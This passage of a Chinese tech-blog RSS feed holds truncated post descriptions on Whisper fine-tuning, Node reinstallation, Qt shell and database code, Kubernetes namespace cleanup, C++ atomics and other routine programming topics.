数据列表处理方式AiShellWenetSpeech添加标点符号加入知识星球获取加入知识星球获取添加标点符号和时间戳加入知识星球获取加入知识星球获取 重要说明：&#xA;在评估的时候移除模型输出的标点符号，并把繁体中文转成简体中文。aishell_test为AIShell的测试集，test_net和test_meeting为WenetSpeech的测试集。RTF= 所有音频总时间(单位秒) / ASR识别所有音频处理时间(单位秒)。测试速度的音频为dataset/test.wav，时长为8秒。训练数据使用的是带标点符号的数据，字错率高一点。微调AiShell数据不带时间戳，微调WenetSpeech带时间戳。 安装环境 首先安装的是Pytorch的GPU版本，如果已经安装过了，请跳过。 conda install pytorch==1.13.1 torchvision==0.14.1 torchaudio==0.13.1 pytorch-cuda=11.6 -c pytorch -c nvidia 安装所需的依赖库。 python -m pip install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple 准备数据 训练的数据集如下，是一个jsonlines的数据列表，也就是每一行都是一个JSON数据，数据格式如下。Whisper是支持有标点符号的，所以训练的数据集中可以带有标点符号。本项目提供了一个制作AIShell数据集的程序aishell.py，执行这个程序可以自动下载并生成如下列格式的训练集和测试集，注意： 这个程序可以通过指定AIShell的压缩文件来跳过下载过程的，如果直接下载会非常慢，可以使用一些如迅雷等下载器下载该数据集，然后通过参数--filepath指定下载的压缩文件路径，如/home/test/data_aishell.tgz。如果不使用时间戳训练，可以不包含sentences部分的数据。&#xA;{ &#34;audio&#34;: { &#34;path&#34;: &#34;dataset/0.wav&#34; }, &#34;sentence&#34;: &#34;近几年，不但我用书给女儿压岁，也劝说亲朋不要给女儿压岁钱，而改送压岁书。&#34;, &#34;sentences&#34;: [ { &#34;start&#34;: 0, &#34;end&#34;: 1.4, &#34;text&#34;: &#34;</description>
    </item>
    <item>
      <title>node重装-解铃还须系铃人</title>
      <link>https://bchobby.github.io/posts/c3f9d7405c3a7654eff5f6dc47e02e59/</link>
      <pubDate>Wed, 18 Oct 2023 17:31:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c3f9d7405c3a7654eff5f6dc47e02e59/</guid>
      <description>一、问题场景 node的重装真的浪费我一整天时间，必须写下这篇踩坑日记&#xA;我在做博客项目的时候，启动前端Vue项目的时候，由于之前的node版本是18.16.1，npm install的时候出现问题，原因是node的版本过高，应该配置node14.几的版本，这个版本的node比较稳定，并且有维护&#xA;于是我用geek(一个uninstall软件)卸载了我原有的node，当我去下载安装node.14.21.3-x64.msi的时候，出现了以下提示&#xA;提示内容是更高的版本已经安装了，不能安装&#xA;到这里我很纳闷，本来我已经删除了原来的node的文件，为什么还显示已安装。&#xA;我去百度，csdn啊各种搜索，有说npm缓存文件没删干净，有说注册表没有删除，有说环境变量没有删除，等等，我都一一尝试了，都删除，继续安装，仍然出现以上提示。&#xA;二、 问题解决 我在一篇博客中看到一个方法，说是重新下载之前卸载的node版本，然后不要下一步，点击remove&#xA;这里就把之前版本node全部删除干净了&#xA;我下载14.21.3的时候，一路下一步畅通无阻&#xA;三、问题总结 这个node的卸载重装，需要我们重新下载之前版本的msi，然后在上面点击remove，才能实现完全卸载&#xA;归根结底还是之前下载的node版本太新，导致不稳定，经过这几次的bug，才知道版本要用老的，稳定的，比如jdk8，node14等等&#xA;借鉴自：&#xA;https://blog.csdn.net/m0_63666148/article/details/131072760</description>
    </item>
    <item>
      <title>【学习记录】动态数组（vector）的基本操作，包括插入、删除、扩容、输出、释放内存等。用C语言编写</title>
      <link>https://bchobby.github.io/posts/8d86da888859a72f6320f35e2206d50c/</link>
      <pubDate>Wed, 18 Oct 2023 16:22:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8d86da888859a72f6320f35e2206d50c/</guid>
      <description>#include &amp;lt;iostream&amp;gt; #include&amp;lt;cstdlib&amp;gt; #include&amp;lt;ctime&amp;gt; using namespace std; // 我的代码所犯的错误记录： // 1. \n的换行打成了/n导致程序迟迟不能换行 // 2. rand()%4，是随机0~3的随机数，并不是0~4 // 3. 在main主函数中，首先声明int pos， val；如果在下方执行函数继续声明int pos， val；会导致变量初始化，从而使int pos， val这两个变量再次刷新，导致随机插入值不对 // 4. for循环的使用规则，内部变量i必须初始化为int类型，不然会报错 // 定义自定义结构体 vector，用于模拟动态数组 typedef struct vector { int size; // 数组容量 int count; // 数组元素数量 int* data; // 指向数据的指钨 } vector; // 创建一个新的 vector，n 表示初始容量 vector* getNewvector(int n) { vector* p = (vector*)malloc(sizeof(vector)); // 分配 vector 结构体内存 p-&amp;gt;size = n; p-&amp;gt;count = 0; // 初始化元素数量为 0 p-&amp;gt;data = (int*)malloc(sizeof(int) * n); // 分配数据存储内存 return p; } // 扩展 vector 的容量 int expand(vector* v) { if (v == NULL) return 0; // 检查传入参数是否为空 int* p = (int*)realloc(v-&amp;gt;data, sizeof(int) * 2 * v-&amp;gt;size); // 重新分配内存为原来的两倍 if (p == NULL) return 0; // 检查内存分配是否成功 v-&amp;gt;data = p; v-&amp;gt;size *= 2; return 1; } // 插入元素到指定位置 int insert(vector* v, int pos, int val) { if (pos &amp;lt; 0 || pos &amp;gt; v-&amp;gt;count) return 0; // 检查插入位置是否有效 if (v-&amp;gt;size == v-&amp;gt;count &amp;amp;&amp;amp; !</description>
    </item>
    <item>
      <title>Java 树构建最快算法</title>
      <link>https://bchobby.github.io/posts/6a025bec9b9572475ec95d50d01ec819/</link>
      <pubDate>Wed, 18 Oct 2023 16:01:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6a025bec9b9572475ec95d50d01ec819/</guid>
      <description>项目中经常会用到树构建，比如地区树型数据构建，测试中一个省到街道级别的地区数据，共有13828条，普通的递归构建树算法计算次数接近2亿次，内存暂用高，CPU占用高，耗时久，一般在5秒左右，数据量上万后基本无法使用。&#xA;思路：&#xA;普通树构建算法都是通过递归遍历所有节点来找出当前节点的子节点实现的，计算次数成指数级增长，数据量达到上万条效率就已经不能满足需求了，可以考虑利用LinkedHashMap来保存所有节点，查找过程用LinkedHashMap来实现，经过实践，运算次数从2亿次减少到了2万7千多次，耗时从5秒减少到了450ms左右，效率提升了10倍有余。&#xA;算法描述：&#xA;1、把所有数据放入LinkedHashMap中&#xA;2、然后遍历LinkedHashMap中的所有值，并从该LinkedHashMap中查找当前节点的父节点，把当前节点加入父节点的孩子中&#xA;3、从LinkedHashMap中将已经加入父节点子集中的节点移除掉，并将移除节点后的LinkedHashMap作为下一个递归的参数继续调用&#xA;4、直到LinkedHashMap中所有的节点都再找不到父节点为止，这些剩下的根节点就是一棵构造好的树&#xA;优点：时间复杂度和空间复杂度低，效率高速度快，处理大数据量效果好&#xA;import java.io.Serializable; import java.util.ArrayList; import java.util.LinkedHashMap; import java.util.List; import java.util.Map; /** * @description: 树构造工厂 * @author: YinHeng * @date: 2020/11/6 16:27 **/ public class TreeFactory&amp;lt;K, T extends TreeNode&amp;lt;K, T&amp;gt;&amp;gt; implements Serializable { /** * 递归向上查找法 * * @param nodeList * @return */ public List&amp;lt;T&amp;gt; buildTree(List&amp;lt;T&amp;gt; nodeList) { Map&amp;lt;K, T&amp;gt; nodeMap = new LinkedHashMap&amp;lt;&amp;gt;(16); for (T node : nodeList) { nodeMap.put(node.getId(), node); } return buildTree(nodeMap); } /** * 递归向上查找父节点 * * @param nodeMap * @return */ public List&amp;lt;T&amp;gt; buildTree(Map&amp;lt;K, T&amp;gt; nodeMap) { return findParent(nodeMap); } /** * 利用HashMap高效率递归向上查找，并每次减少遍历节点数 * * @param nodeMap * @return */ public List&amp;lt;T&amp;gt; findParent(Map&amp;lt;K, T&amp;gt; nodeMap) { //该循环结束后可以移除掉的节点 List&amp;lt;K&amp;gt; removeNodes = new ArrayList&amp;lt;&amp;gt;(); for (T node : nodeMap.</description>
    </item>
    <item>
      <title>Sketch 98.3(UI矢量绘图软件)</title>
      <link>https://bchobby.github.io/posts/e2fad61d2c3a05c6effb56600ae5717b/</link>
      <pubDate>Wed, 18 Oct 2023 15:14:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e2fad61d2c3a05c6effb56600ae5717b/</guid>
      <description>Sketch是一款为用户提供设计和创建数字界面的矢量编辑工具。它主要用于UI/UX设计师、产品经理和开发人员，帮助他们快速设计和原型各种应用程序和网站。&#xA;Sketch具有简洁直观的界面，以及丰富的功能集，使得用户可以轻松地创建、编辑和共享精美的界面设计。它支持矢量编辑、图层样式和符号库，使得设计师可以快速创建可重用的组件，并保持整个设计过程中的一致性。&#xA;该软件还提供了强大的布局和对齐工具，以及自动排列和分布元素的功能，使得设计过程更加高效。此外，Sketch还内置了大量的插件和扩展，可以进一步增强其功能，满足用户不同的需求。&#xA;总之，Sketch是一款功能强大、易于使用的界面设计工具，适用于各种设计项目，无论是移动应用程序、网站还是其他数字界面设计。&#xA;Sketch 98.3(UI矢量绘图软件)</description>
    </item>
    <item>
      <title>Springboot下载jar包中的文件</title>
      <link>https://bchobby.github.io/posts/bbc18caa5b9e4cd5f8456ac7569ac94d/</link>
      <pubDate>Wed, 18 Oct 2023 14:42:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bbc18caa5b9e4cd5f8456ac7569ac94d/</guid>
      <description>Spring boot中下载文件的2种方式&#xA;通过HttpServletResponse的OutputStream实现&#xA;Spring MVC的下载功能通过ResponseEntity实现&#xA;使用Spring Boot的流媒体响应（StreamingResponseBody）功能&#xA;两种方法都可以实现文件的下载。&#xA;第一种方法适合下载较小的文件，而第二种方法则更适合下载大文件，因为它可以在处理过程中避免一次性加载整个文件到内存中，因此也被称为流式下载。 示例代码 主要展示一下方式二的写法&#xA;project&#xA;├── src&#xA;│ ├── main&#xA;│ │ ├── java&#xA;│ │ │ └── com&#xA;│ │ │ └── example&#xA;│ │ │ └── AppConfig.java&#xA;│ │ └── resources&#xA;│ │ └── application.properties&#xA;│ └── …&#xA;@RestController public class MyController { @GetMapping(&#34;/download&#34;) public ResponseEntity&amp;lt;Object&amp;gt; downloadFile() { //获取jar包中文件 ClassPathResource classPathResource = new ClassPathResource(&#34;application.properties&#34;); Resource resource = new InputStreamResource(classPathResource.getInputStream()); String filename = classPathResource.</description>
    </item>
    <item>
      <title>QT学习笔记-QT程序执行Linux Shell命令实现动态添加路由</title>
      <link>https://bchobby.github.io/posts/8fa35350ec24d752e7452858d86f62c8/</link>
      <pubDate>Wed, 18 Oct 2023 14:31:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8fa35350ec24d752e7452858d86f62c8/</guid>
      <description>QT学习笔记-QT程序执行Linux Shell命令实现动态添加路由 背景关键代码程序界面 背景 在使用QT进行Linux下应用程序开发时，在特定业务需求下，需要在程序中执行Linux的Shell命令。QT中执行Linux命令可以通过QProcess类和system来实现，如果需要得到Shell命令的执行的结果则只能通过QProcess类来实现。本示例解决的一个业务需求是带双网卡的Linux工控机中需要通过增加路由访问其他网段的服务器，最开始是把添加动态路由的功能写在启动脚本（shell脚本）中了，但在测试的时候拔掉对应的网线后，动态添加的路由会丢失，这时再插上网线还是不能与其他网段的服务器进行通讯。&#xA;关键代码 /** * @brief execShellCommand 执行Linux Shell 命令 * @param cmd 要执行的命令 * @param args 参数列表 * @return 返回执行的结果 */ QString Widget::execShellCommand(QString cmd, QStringList args) { QProcess proc; proc.start(cmd, args, QIODevice::ReadWrite); proc.waitForFinished(); QString result = proc.readAllStandardOutput(); return result; } /** * @brief routeExists 判断系统路由表中是否存在对应的路由信息 * @param fromNetPart 源网段，比如：10.10.80.0 * @param toGateway 目标网关，比如：192.168.0.1 * @param netmask 子网掩码，比如：255.255.255.0 * @return */ bool Widget::routeExists(QString fromNetPart, QString toGateway, QString netmask) { bool flag = false; //是否存在对应的路由 QString cmd = &#34;</description>
    </item>
    <item>
      <title>k8s删除 Terminating 状态的 namespace</title>
      <link>https://bchobby.github.io/posts/2ab5031283d1e916b2484e49beb41266/</link>
      <pubDate>Wed, 18 Oct 2023 14:20:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2ab5031283d1e916b2484e49beb41266/</guid>
      <description>处于 Terminating 状态的 ns 经常无法正常删除。可尝试以下两种方法解决：&#xA;方法1、使用 --force 参数，【delnsname 为要删除的命名空间，需要替换掉哦】&#xA;kubectl delete ns delnsname --force --grace-period=0 这种方法一般情况下是有效的。但在ns长时间处于Terminating的时候也会失效&#xA;方法2、修改 finalize&#xA;a、导出ns的json文件【delnsname 为要删除的命名空间，需要替换掉哦】&#xA;kubectl get ns delnsname -o json &amp;gt; delnsname.json b、修改 json文件，删除 “finalizers” 内的 “kubernetes”&#xA;vi delnsname.json c、执行命令：【delnsname 为要删除的命名空间，需要替换掉哦】&#xA;kubectl replace --raw &#34;/api/v1/namespaces/delnsname/finalize&#34; -f ./delnsname.json 再检查就发现已经被删除了&#xA;原文：https://blog.csdn.net/babay550/article/details/130621569</description>
    </item>
    <item>
      <title>QT学习笔记-QT访问各种关系数据库笔记汇总</title>
      <link>https://bchobby.github.io/posts/2770420034e4f5caba6cd2225de836b8/</link>
      <pubDate>Wed, 18 Oct 2023 11:46:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2770420034e4f5caba6cd2225de836b8/</guid>
      <description>QT学习笔记-QT访问各种关系数据库笔记汇总 1、QT访问Oracle数据库2、QT访问SQLServer数据库3、QT访问MySQL数据库4、QT访问PostgreSQL数据库5、QT访问Access数据库6、QT多线程中访问数据库的要点 在使用QT进行应用开发过程中，不可避免的会涉及到访问关系数据库，为了方便后期查阅笔记，在本文进行一下汇总。 1、QT访问Oracle数据库 1.1、关于QT访问Oracle数据库的驱动编译请参阅&#xA;1.1.1 《QT学习笔记-QT安装oracle oci驱动》&#xA;1.1.2 《QT学习笔记-oracle oci数据库驱动交叉编译并移植到ARM开发板》&#xA;1.2、关键步骤：&#xA;1.2.1 配置oracleclient的环境变量LD_LIBRARY_PATH，或者直接在代码中通过QLibrary加载依赖库&#xA;1.2.2 参考代码&#xA;void Widget::on_btnDbTest_clicked() { #ifdef Q_OS_WIN QLibrary *oci_lib = new QLibrary(&#34;D:/oracleinstantclient_19_19/oci.dll&#34;); oci_lib-&amp;gt;load(); if (!oci_lib-&amp;gt;isLoaded()) { qDebug() &amp;lt;&amp;lt; &#34;oracle oci动态库加载失败!&#34;; return; } #else QLibrary *oci_lib = new QLibrary(&#34;/usr/lib/oracleclient/instantclient_19_19/libclntsh.so&#34;); bool loadresult = oci_lib-&amp;gt;load(); qDebug() &amp;lt;&amp;lt; &#34;oracle oci动态库load result is &#34; &amp;lt;&amp;lt; loadresult; if (!loadresult) { qDebug() &amp;lt;&amp;lt; oci_lib-&amp;gt;errorString(); } if (!oci_lib-&amp;gt;isLoaded()) { qDebug() &amp;lt;&amp;lt; &#34;oracle oci动态库libclntsh.so加载失败!&#34;; return; } #endif //以下代码测试访问Oracle数据 QSqlDatabase db = QSqlDatabase::addDatabase(&#34;</description>
    </item>
    <item>
      <title>waste-datasets-review - 包含任何类型的垃圾、垃圾、废物和垃圾的图像数据集列表</title>
      <link>https://bchobby.github.io/posts/84c6681ab6f8b75c8a6c5b342aa02389/</link>
      <pubDate>Wed, 18 Oct 2023 10:57:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/84c6681ab6f8b75c8a6c5b342aa02389/</guid>
      <description>废物数据集审查 包含任何类型的垃圾、垃圾、废物和垃圾的数据集列表。在detectwaste.ml项目期间创建&#xA;今天，每年生产超过 3 亿吨塑料。塑料无处不在，我们在日常生活中不断使用它。&#xA;检测垃圾项目的想法是使用人工智能来检测环境中的塑料垃圾。我们的解决方案将适用于视频和摄影。我们的目标是将 AI 用于公益。&#xA;访问majsylw/litter-detection-review，查看有关环境中垃圾问题的论文、项目和其他资源的更广泛评论。&#xA;贡献 随意添加新数据集的简短描述问题或创建拉取请求- 将新数据集添加到表中或填写缺少的描述。&#xA;概括 姓名编号类别编号子类别编号图像注解评论网站描述垃圾桶 1.03347 212实例分割水下图像网站✔️垃圾-ICRA193345 700检测水下图像网站✔️塔可28601 500分割荒野中的废物网站✔️炸玉米饼盒子760在制品检测荒野中的废物在制品✔️无人机Vaste1——772分割无人机数据集github✔️垃圾网6——2 527分类清晰的背景github✔️瓦达巴8颜色、尺寸、形状或材料4 000分类塑料数据集，背景清晰网站✔️GLASSENSE-VISION71362 000分类家居用品，清晰的背景网站✔️废物分类数据2——~25 000分类从谷歌搜索中抓取卡格✔️废物分类数据 v23——~27 500分类从谷歌搜索中抓取卡格✔️寿司餐厅的废弃图片16——500分类清晰的背景卡格✔️打开垃圾 map11187&amp;gt; 100k多标签分类荒野中的废物网站✔️垃圾24尺寸、形状或材料~14 000检测野外废弃物，付费许可证网站✔️饮用废物分类4——9640检测清晰的背景，（罐头和瓶子）卡格✔️废物图片34——~24 000分类从谷歌搜索中抓取卡格✔️现场垃圾3——~2 400分类从 Bing 搜索中抓取kaggle github✔️深海垃圾5——3 055分类水下图像卡格✔️MJU-Waste v1.01——2475分割纯色背景，室内 RGBD 图像github✔️国内垃圾数据集10——&amp;gt; 9000分类/检测荒野废物旅馆，付费许可证，250 张免费图片github✔️烟头数据集1——2200检测荒野中的废弃旅馆，合成图像网站✔️ 描述 垃圾桶 1.0 垃圾观察的实例分割标记数据集&#xA;3 个主要类别下的 7212 张图像：生物、垃圾、未知。类别：&#xA;bio = 海龟、鱿鱼、龙虾、未知、水母、黄貂鱼、虾、小龙虾、章鱼、鲨鱼、贝壳、螃蟹、海星、鳗鱼垃圾 = 衣服、管道、瓶子、袋子、零食包装纸、手套、轮胎、罐头、杯子、容器、树枝、残骸、防水布、盒子、软管、绳索、干草、网、纸、桶、电线未知 下载：直接从网站 TrashCan 1.0 An Instance-Segmentation Labeled Dataset of Trash Observations 垃圾-ICRA19： 从视频中提取的 5700 张水下图像的边界框标记数据集 About Jungseok - Jungseok Hong</description>
    </item>
    <item>
      <title>【Java】将Base64格式的图片等比/非等比伸缩至目标尺寸代码实现</title>
      <link>https://bchobby.github.io/posts/9e6c2b6d9df8b295e174096b72f95936/</link>
      <pubDate>Wed, 18 Oct 2023 10:48:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9e6c2b6d9df8b295e174096b72f95936/</guid>
      <description>文章目录 等比伸缩需求代码实现 非等比 等比伸缩 需求 前端页面上传的图片是Base64字符串，需要根据目标尺寸进行伸缩，不能改变图片的比例&#xA;代码实现 使用图片处理工具：thumbnailator&#xA;引入Maven依赖：&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;net.coobird&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;thumbnailator&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;0.4.8&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 核心代码：&#xA;import net.coobird.thumbnailator.Thumbnails; import javax.imageio.ImageIO; import java.awt.image.BufferedImage; import java.io.ByteArrayInputStream; import java.io.File; import java.io.IOException; import java.math.RoundingMode; import java.text.DecimalFormat; import java.util.Base64; import java.util.Objects; public class Test { public static final String IMAGE_BASE64_PREFIX_REG = &#34;data:image/[^;]+;base64,&#34;; // 你的测试数据 private static final String IMG_BASE64 = &#34;&#34;; private static final String FILE_PATH = &#34;/Users/xdf/Desktop/Temp/test.png&#34;; private static Integer targetHeight = 400; private static Integer targetWidth = 400; public static void main(String[] args) throws IOException { DecimalFormat df = new DecimalFormat(&#34;</description>
    </item>
    <item>
      <title>Unity Blend shape基本用法</title>
      <link>https://bchobby.github.io/posts/07befc2f57712f029d0762062d5fab34/</link>
      <pubDate>Wed, 18 Oct 2023 10:11:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/07befc2f57712f029d0762062d5fab34/</guid>
      <description>Unity Blend Shapes 是一种非常有用的技术，它可以用于实现角色面部动画和形状变形效果。在本篇博客中，我们将介绍 Unity Blend Shapes 的基本概念，并提供一些代码示例来帮助你快速上手。&#xA;什么是 Blend Shapes？&#xA;Blend Shapes，也被称为 Morph Targets 或是 Shape Keys，是一种用于实现角色面部表情和形状变形的技术。通过在角色模型上定义一系列不同的面部表情或形状，然后通过调整这些形状的权重，我们可以实现平滑的面部动画效果。&#xA;在 Unity 中，我们可以使用 Skinned Mesh Renderer 组件来实现 Blend Shapes。这个组件允许我们调整每个顶点的位置、法线和切线，从而实现形状的变化。&#xA;如何创建 Blend Shapes？&#xA;在 Unity 中创建 Blend Shapes 需要经过以下几个步骤：&#xA;首先，我们需要在角色模型的网格上定义 Blend Shapes。打开模型的编辑模式，选中需要调整的顶点，然后在 Inspector 窗口中点击 “Create Blend Shape” 按钮。这将为选定的顶点创建一个新的 Blend Shape。&#xA;继续为模型的其他部分创建 Blend Shapes，直到我们定义了所有需要的表情或形状。&#xA;在代码中，我们可以通过脚本来控制 Blend Shapes 的权重。通过调整权重的值，我们可以实现不同的面部表情或形状变化。&#xA;下面是一个简单的示例，展示了如何在 Unity 中创建和控制&#xA;Blend Shapes： using UnityEngine; public class BlendShapeController : MonoBehaviour { public SkinnedMeshRenderer skinnedMeshRenderer; public string blendShapeName; void Update() { // 获取当前 Blend Shape 的权重 float weight = skinnedMeshRenderer.</description>
    </item>
    <item>
      <title>H265视频转码H264视频</title>
      <link>https://bchobby.github.io/posts/e191ffab8e68f9b556e788b80fa1adfb/</link>
      <pubDate>Wed, 18 Oct 2023 09:32:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e191ffab8e68f9b556e788b80fa1adfb/</guid>
      <description>LiveMedia视频平台提供H5网页web前端无插件视频码流，但目前主流浏览器和播放器都只支持H264的码流，但是随着编码技术的迭代，目前H265编码的视频已在安防行业得到了广泛的使用，平台仅支持H264需要客户修改前端的视频编码，这样会造成存储和带宽的浪费和压力，在此技术和应用背景下，平台兼容H265势在必行。平台端兼容H265有以下几种方案可选：&#xA;方案一：平台支持H265视频转发，由web前端做H265解码显示。&#xA;方案二：平台将H265视频在后台做转码成H264后，再转发至web前端进行显示。&#xA;采用方案一需要开发支持H265的基于WASM视频播放器，对技术门槛要求有点高，另外跨平台视频播放、小程序播放还需另外开发，综合考虑，最终我们选择了方案二，这样客户不需要修改原有的代码就能实现视频播放。&#xA;在介绍LiveMedia后台对H265视频进行转码，先普及下视频转码的知识&#xA;1、软编码和硬编码如何区分&#xA;软编码：使用CPU进行编码&#xA;硬编码：使用非CPU进行编码，如显卡GPU、专用的DSP、FPGA芯片等&#xA;2、软编码和硬编码比较&#xA;软编码：实现直接、简单，参数调整方便，升级易，但CPU负载重，性能较硬编码低，低码率下质量通常比硬编码要好一点。&#xA;硬编码：性能高，低码率下通常质量低于软编码器，但部分产品在GPU硬件平台移植了优秀的软编码算法（如X264）的，质量基本等同于软编码。&#xA;3、目前的主流GPU加速平台&#xA;NVIDIA、INTEL、AMD等&#xA;4、目前主流的GPU平台开发框架&#xA;CUDA：NVIDIA的封闭编程框架，通过框架可以调用GPU计算资源。&#xA;AMD APP：AMD为自己的GPU提出的一套通用并行编程框架，标准开放，通过在CPU、GPU同时支持OpenCL框架，进行计算力融合。&#xA;OpenCL：开放计算语言，为异构平台编写程序的该框架，异构平台可包含CPU、GPU以及其他计算处理器，目标是使相同的运算能支持不同平台硬件加速。&#xA;Inel QuickSync：集成于Intel显卡中的专用视频编解码模块。&#xA;LiveMedia平台后台视频转码采用NVIDA GPU加速平台，支持软/硬解码兼容，在GPU富足的情况下，优先使用硬解码。&#xA;在确定了GPU平台后，需要搭建开发和运行环境（NVIDIA 驱动安装和CUDA开发包安装就不缀述了，CSDN上博客很多），如有需要的小伙伴们可以留言。&#xA;在使用NVIDIA GPU做转码时需要根据官方提供的开发文档和产品详细配置，有些产品是不带H265解码核心的，详细的见图（从NVIDIA网站上截取部分），仅供参考&#xA;详情请参考NVIDIA官方说明Page Not Found | NVIDIA Developer&#xA;交流联系：&#xA;杭州厚航科技有限公司http://houhangkeji.com/&#xA;QQ技术交流群：698793654</description>
    </item>
    <item>
      <title>c&#43;&#43; 原子变量-Memory fence</title>
      <link>https://bchobby.github.io/posts/c073edb665d4e70d4a9d68568cda7ff3/</link>
      <pubDate>Tue, 17 Oct 2023 20:57:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c073edb665d4e70d4a9d68568cda7ff3/</guid>
      <description>摘抄自：https://github.com/apache/brpc/blob/master/docs/cn/atomic_instructions.md#cacheline&#xA;English version&#xA;我们都知道多核编程常用锁避免多个线程在修改同一个数据时产生race condition。当锁成为性能瓶颈时，我们又总想试着绕开它，而不可避免地接触了原子指令。但在实践中，用原子指令写出正确的代码是一件非常困难的事，琢磨不透的race condition、ABA problem、memory fence很烧脑，这篇文章试图通过介绍SMP架构下的原子指令帮助大家入门。C++11正式引入了原子指令，我们就以其语法描述。&#xA;顾名思义，原子指令是对软件不可再分的指令，比如x.fetch_add(n)指原子地给x加上n，这个指令对软件要么没做，要么完成，不会观察到中间状态。常见的原子指令有：&#xA;原子指令 (x均为std::atomic)作用x.load()返回x的值。x.store(n)把x设为n，什么都不返回。x.exchange(n)把x设为n，返回设定之前的值。x.compare_exchange_strong(expected_ref, desired)若x等于expected_ref，则设为desired，返回成功；否则把最新值写入expected_ref，返回失败。x.compare_exchange_weak(expected_ref, desired)相比compare_exchange_strong可能有spurious wakeup。x.fetch_add(n), x.fetch_sub(n)原子地做x += n, x-= n，返回修改之前的值。 你已经可以用这些指令做原子计数，比如多个线程同时累加一个原子变量，以统计这些线程对一些资源的操作次数。但是，这可能会有两个问题：&#xA;这个操作没有你想象地快。如果你尝试通过看似简单的原子操作控制对一些资源的访问，你的程序有很大几率会crash。 Cacheline 没有任何竞争或只被一个线程访问的原子操作是比较快的，“竞争”指的是多个线程同时访问同一个cacheline。现代CPU为了以低价格获得高性能，大量使用了cache，并把cache分了多级。百度内常见的Intel E5-2620拥有32K的L1 dcache和icache，256K的L2 cache和15M的L3 cache。其中L1和L2 cache为每个核心独有，L3则所有核心共享。一个核心写入自己的L1 cache是极快的(4 cycles, ~2ns)，但当另一个核心读或写同一处内存时，它得确认看到其他核心中对应的cacheline。对于软件来说，这个过程是原子的，不能在中间穿插其他代码，只能等待CPU完成一致性同步，这个复杂的硬件算法使得原子操作会变得很慢，在E5-2620上竞争激烈时fetch_add会耗费700纳秒左右。访问被多个线程频繁共享的内存往往是比较慢的。比如像一些场景临界区看着很小，但保护它的spinlock性能不佳，因为spinlock使用的exchange, fetch_add等指令必须等待最新的cacheline，看上去只有几条指令，花费若干微秒并不奇怪。&#xA;要提高性能，就要避免让CPU频繁同步cacheline。这不单和原子指令本身的性能有关，还会影响到程序的整体性能。最有效的解决方法很直白：尽量避免共享。&#xA;一个依赖全局多生产者多消费者队列(MPMC)的程序难有很好的多核扩展性，因为这个队列的极限吞吐取决于同步cache的延时，而不是核心的个数。最好是用多个SPMC或多个MPSC队列，甚至多个SPSC队列代替，在源头就规避掉竞争。另一个例子是计数器，如果所有线程都频繁修改一个计数器，性能就会很差，原因同样在于不同的核心在不停地同步同一个cacheline。如果这个计数器只是用作打打日志之类的，那我们完全可以让每个线程修改thread-local变量，在需要时再合并所有线程中的值，性能可能有几十倍的差别。 一个相关的编程陷阱是false sharing：对那些不怎么被修改甚至只读变量的访问，由于同一个cacheline中的其他变量被频繁修改，而不得不经常等待cacheline同步而显著变慢了。多线程中的变量尽量按访问规律排列，频繁被其他线程修改的变量要放在独立的cacheline中。要让一个变量或结构体按cacheline对齐，可以include &amp;lt;butil/macros.h&amp;gt;后使用BAIDU_CACHELINE_ALIGNMENT宏，请自行grep brpc的代码了解用法。&#xA;Memory fence 仅靠原子技术实现不了对资源的访问控制，即使简单如spinlock或引用计数，看上去正确的代码也可能会crash。这里的关键在于重排指令导致了读写顺序的变化。只要没有依赖，代码中在后面的指令就可能跑到前面去，编译器和CPU都会这么做。&#xA;这么做的动机非常自然，CPU要尽量塞满每个cycle，在单位时间内运行尽量多的指令。如上节中提到的，访存指令在等待cacheline同步时要花费数百纳秒，最高效地自然是同时同步多个cacheline，而不是一个个做。一个线程在代码中对多个变量的依次修改，可能会以不同的次序同步到另一个线程所在的核心上。不同线程对数据的需求不同，按需同步也会导致cacheline的读序和写序不同。&#xA;如果其中第一个变量扮演了开关的作用，控制对后续变量的访问。那么当这些变量被一起同步到其他核心时，更新顺序可能变了，第一个变量未必是第一个更新的，然而其他线程还认为它代表着其他变量有效，去访问了实际已被删除的变量，从而导致未定义的行为。比如下面的代码片段：&#xA;// Thread 1 // bool ready was initialized to false p.init(); ready = true; // Thread2 if (ready) { p.bar(); } 从人的角度，这是对的，因为线程2在ready为true时才会访问p，按线程1的逻辑，此时p应该初始化好了。但对多核机器而言，这段代码可能难以正常运行：&#xA;线程1中的ready = true可能会被编译器或cpu重排到p.init()之前，从而使线程2看到ready为true时，p仍然未初始化。这种情况同样也会在线程2中发生，p.bar()中的一些代码可能被重排到检查ready之前。即使没有重排，ready和p的值也会独立地同步到线程2所在核心的cache，线程2仍然可能在看到ready为true时看到未初始化的p。 注：x86/x64的load带acquire语意，store带release语意，上面的代码刨除编译器和CPU因素可以正确运行。</description>
    </item>
    <item>
      <title>利用Windows11的投屏功能将电脑屏幕内容扩展到电视上</title>
      <link>https://bchobby.github.io/posts/ae1132767013bdbb3a4a6768f68421ef/</link>
      <pubDate>Tue, 17 Oct 2023 19:35:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ae1132767013bdbb3a4a6768f68421ef/</guid>
